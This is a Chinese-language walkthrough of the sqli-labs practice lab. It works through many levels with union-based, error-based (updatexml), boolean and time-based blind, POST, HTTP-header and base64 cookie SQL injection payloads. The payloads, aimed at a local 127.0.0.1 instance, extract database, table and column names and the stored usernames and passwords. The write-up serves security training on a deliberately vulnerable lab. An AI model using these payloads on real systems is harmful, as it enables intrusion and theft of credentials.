sqli-labs项目地址:https://github.com/Audi-1/sqli-labs
正文
单引号报错注入GET
?id=1'
报错回显如下
提取关键报错代码进行分析
''1'' LIMIT 0,1'
,最外一对单引号不用管
,这是报错后提示报错位置加上的,那也就变成了'1'' LIMIT 0,1
这样就显而易见了,我们在id=1后面加上单引号?id=1'
,那么传入的应该就是1‘
,也就可以看出是这里是单引号包裹
对传入的id
参数单引号包裹,并且未作任何出参处理
对单引号闭合,联合查询注入即可
可以看下当传入payload是如何拼接闭合进行注入的
http://127.0.0.1/sqli-labs/Less-1/?id=-1'union select 1,user(),database()--+
利用mysql自带的信息表查询库,表,字段的名称
判断注入点:http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 --+
判断字段数(二分法):http://127.0.0.1/sqli-labs/Less-1/?id=1'order by 3--+
判断回显点:http://127.0.0.1/sqli-labs/Less-1/?id=-1'union select 1,2,3--+
查询数据库名,数据库用户名等信息:http://127.0.0.1/sqli-labs/Less-1/?id=-1'union select 1,user(),database()--+
查询库中有多少表:http://127.0.0.1/sqli-labs/Less-1/?id=-1'union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+
查询敏感信息表的字段:http://127.0.0.1/sqli-labs/Less-1/?id=-1'union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users'--+
查询敏感字段内容:http://127.0.0.1/sqli-labs/Less-1/?id=-1'union select 1,group_concat(username),group_concat(password) from security.users--+
无符号包裹的报错注入GET
输入?id=1'
,报错回显如下
传入的是1'
但是报错信息只有' limit 0,1
那么就是id就是无符号包裹
不用闭合直接注--+
释掉后面的语句即可
方法和less-1一样
?id=1'
报错回显
'1'') limit 0,1
判断包裹符号为('')
闭合注释即可
http://127.0.0.1/sqli-labs/Less-3/?id=-1') union select 1,version(),user() --+
传入单引号没有报错就试试?id=1"
?id=1")--+
闭合常规注入即可
http://127.0.0.1/sqli-labs/Less-4/?id=-1")union select 1,version(),database()--+
对比一下这两关,less-5没有输出查询结果,只有当查询结果正确时会返回一个You are in.......
,查询结果不正确的时候没有返回。没有输出查询结果有判断查询结果是否正确的因素,布尔型盲注
盲注的话要知道如何闭合就只能靠经验去fuzz测试了,布尔型盲注只能通过判断执行语句得对错来猜出我们想要查询的信息,主要思路一般是:找出闭合方法
,利用截断函数
对要查询的结果的每一位进行比较,通过回显判断对错
来猜出查询结果
例如mysql version()=5.5.53
,我们使用截断函数left ()
截出version的第一位5
然后是用二分法来判断出地位为5
思路还是之前那样:先查库,查表,再差字段,最后查字段内容,只不过每一步都变得需要很多步骤
利用截断函数截断查询结果的每一位,再利用ascii(),ord(),等编码转换函数,作比较判断每一位的正确结果,手工的话工作量是非常大的,一般编写脚本来执行,这一关盲注脚本参照我使用python里面写的:布尔型盲注python脚本
报错注入
细心的小伙伴可能已经发现了源码中的这段代码
当查询语句出现报错的时候会输出错误回显,这样就可以利用各种报错函数使得数据库报错输出我们想要查询的结果,这里示例使用的是updatexml()
http://127.0.0.1/sqli-labs/Less-5/?id=1' and updatexml('~',concat(0x7e,user(),0x7e,database(),0x7e,version(),0x7e),'~') --+
http://127.0.0.1/sqli-labs/Less-5/?id=1' and updatexml('~',concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),'~')--+
http://127.0.0.1/sqli-labs/Less-5/?id=1' and updatexml('~',concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),'~')--+
updatexml()只能输出32位,但是可以使用截断函数,分次取出结果
http://127.0.0.1/sqli-labs/Less-5/?id=1' and updatexml('~',mid(concat(0x7e,(select group_concat(password) from security.users),0x7e),31),'~')--+
还有很多别的报错函数也可以实现,自行实验
和Less-5一样也是布尔型盲注,唯一不同的是这里对id
加了个双引号包裹,闭合掉之后和Less-5一样的方法
http://127.0.0.1/sqli-labs/Less-6/?id=1"and left(version(),1)=5--+
secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。
secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
在配置文件中添加一行secure-file-priv=""
保存然后重启
这关和Less-5的区别就是,这里注释掉了报错,其实这关把所有报错信息都注释掉了,应该是让我们使用延时注入,当然布尔型盲注这里也是可以的,就不赘述了
时间盲注其实也是一种特殊的布尔型盲注,只不过判断因素是响应时间
首先测试出数据库长度:
http://127.0.0.1/sqli-labs/Less-9/?id=1'and if(length(database())>7,sleep(3),1)--+
然后逐个测试数据库名:
http://127.0.0.1/sqli-labs/Less-9/?id=1'and if(ascii(substr(database(),1,1))=115,sleep(3),1)--+
表名:
http://127.0.0.1/sqli-labs/Less-9/?id=1'and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,sleep(3),1)--+
字段名:
http://127.0.0.1/sqli-labs/Less-9/?id=1'and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,sleep(3),1)--+
字段内容:
http://127.0.0.1/sqli-labs/Less-9/?id=1'and if(ascii(substr((select username from security.users limit 0,1),1,1))=68,sleep(3),1)--+
PS:若在实际的网络环境中响应时间可能会收到网速的影响,所以要适当调正sleep()的值来进行判断
post注入
其实方法都是和get方法一样的,只不过换了数据传输方式
uname=123' union select version(),database()#&passwd=123--+
还是一样的套路,只不过对参数的处理变了而已
uname=123") union select version(),database()#&passwd=123--+
没有语句执行成功的回显数据,所以是post的盲注,另外注意一点就是有语句执行报错回显,可以是用报错注入
uname=admin') and if(ascii(substr(database(),1,1))=115,sleep(3),1) #&passwd=123--+
按照之前的盲注套路走就可以了
POST报错注入
uname=admin') and updatexml(0x7e,concat(0x7e,database(),0x7e,version(),0x7e,user(),0x7e),0x7e) #&passwd=123--+
和上一关一样,只不过对参数做了不同的处理,闭合即可
uname=admin" and if(ascii(substr(database(),1,1))=115,sleep(3),1) #&passwd=123 #&passwd=123--+
报错注入就不演示了
注释掉了报错注入,那就只能时间盲注
uname=admin' and if(ascii(substr(database(),1,1))=115,sleep(3),1) #&passwd=123 #&passwd=123--+
还是参数处理,闭合即可
uname=admin") and if(ascii(substr(database(),1,1))=115,sleep(3),1) #&passwd=123 #&passwd=123--+
对uname
进行了check_input
,passwd
参数却没有任何处理,直接拼接到sql查询语句
check_input
函数:
首先判断value是否为空,不为空取前十五个字符(不过这里的源代码substr()函数写的是从0开始截取,这能截断吗???)然后判断是否开启了魔术引号get_magic_quotes_gpc
,开启了之后会出现很多转义符号‘\’,stripslashes()函数会删除掉这些转移符号‘\’接着是ctype_digit()
检查value是否为十进制,是十进制返回TRUE,不是返回FALSE,只要不是数字都会进入mysql_real_escape_string()转义掉一些特殊字符,intval()获取整数
uname
这个位置肯定不太好注入了,尝试在passwd
上做点事情
uname=admin&passwd='and updatexml(0x7e,concat(0x7e,database(),0x7e),0x7e)#
在passwd
上做报错或者盲注都可以,就不多赘述了
和上一关没什么变化,就是这关对uname
和passwd
都进行了check_input()的过滤,但是这里获取了一些HTTP
头信息直接插入进了查询语句,导致构成注入点,使用burp抓包,修改user-agent
为以下内容:
1' and updatexml(0x7e,concat(0x7e,database(),0x7e,version(),0x7e,user(),0x7e),0x7e) and '1'='1
和上一关一样,只不过注入点在Referer
1' and updatexml(0x7e,concat(0x7e,database(),0x7e,version(),0x7e,user(),0x7e),0x7e) and '1'='1
Cookie注入
当我们在cookie中输入admin'
之后明显发现出现报错,根据回显报错,修改闭合方式:
test' union select user(),version(),database()#
和上一关的区别就是cookie进行了base64编码以及闭合方式不同而已
test') union select user(),version(),database()#
dGVzdCcpIHVuaW9uIHNlbGVjdCB1c2VyKCksdmVyc2lvbigpLGRhdGFiYXNlKCkj
和上一关比只是修改了闭合方式
test" union select user(),version(),database()#
dGVzdCIgdW5pb24gc2VsZWN0IHVzZXIoKSx2ZXJzaW9uKCksZGF0YWJhc2UoKSM=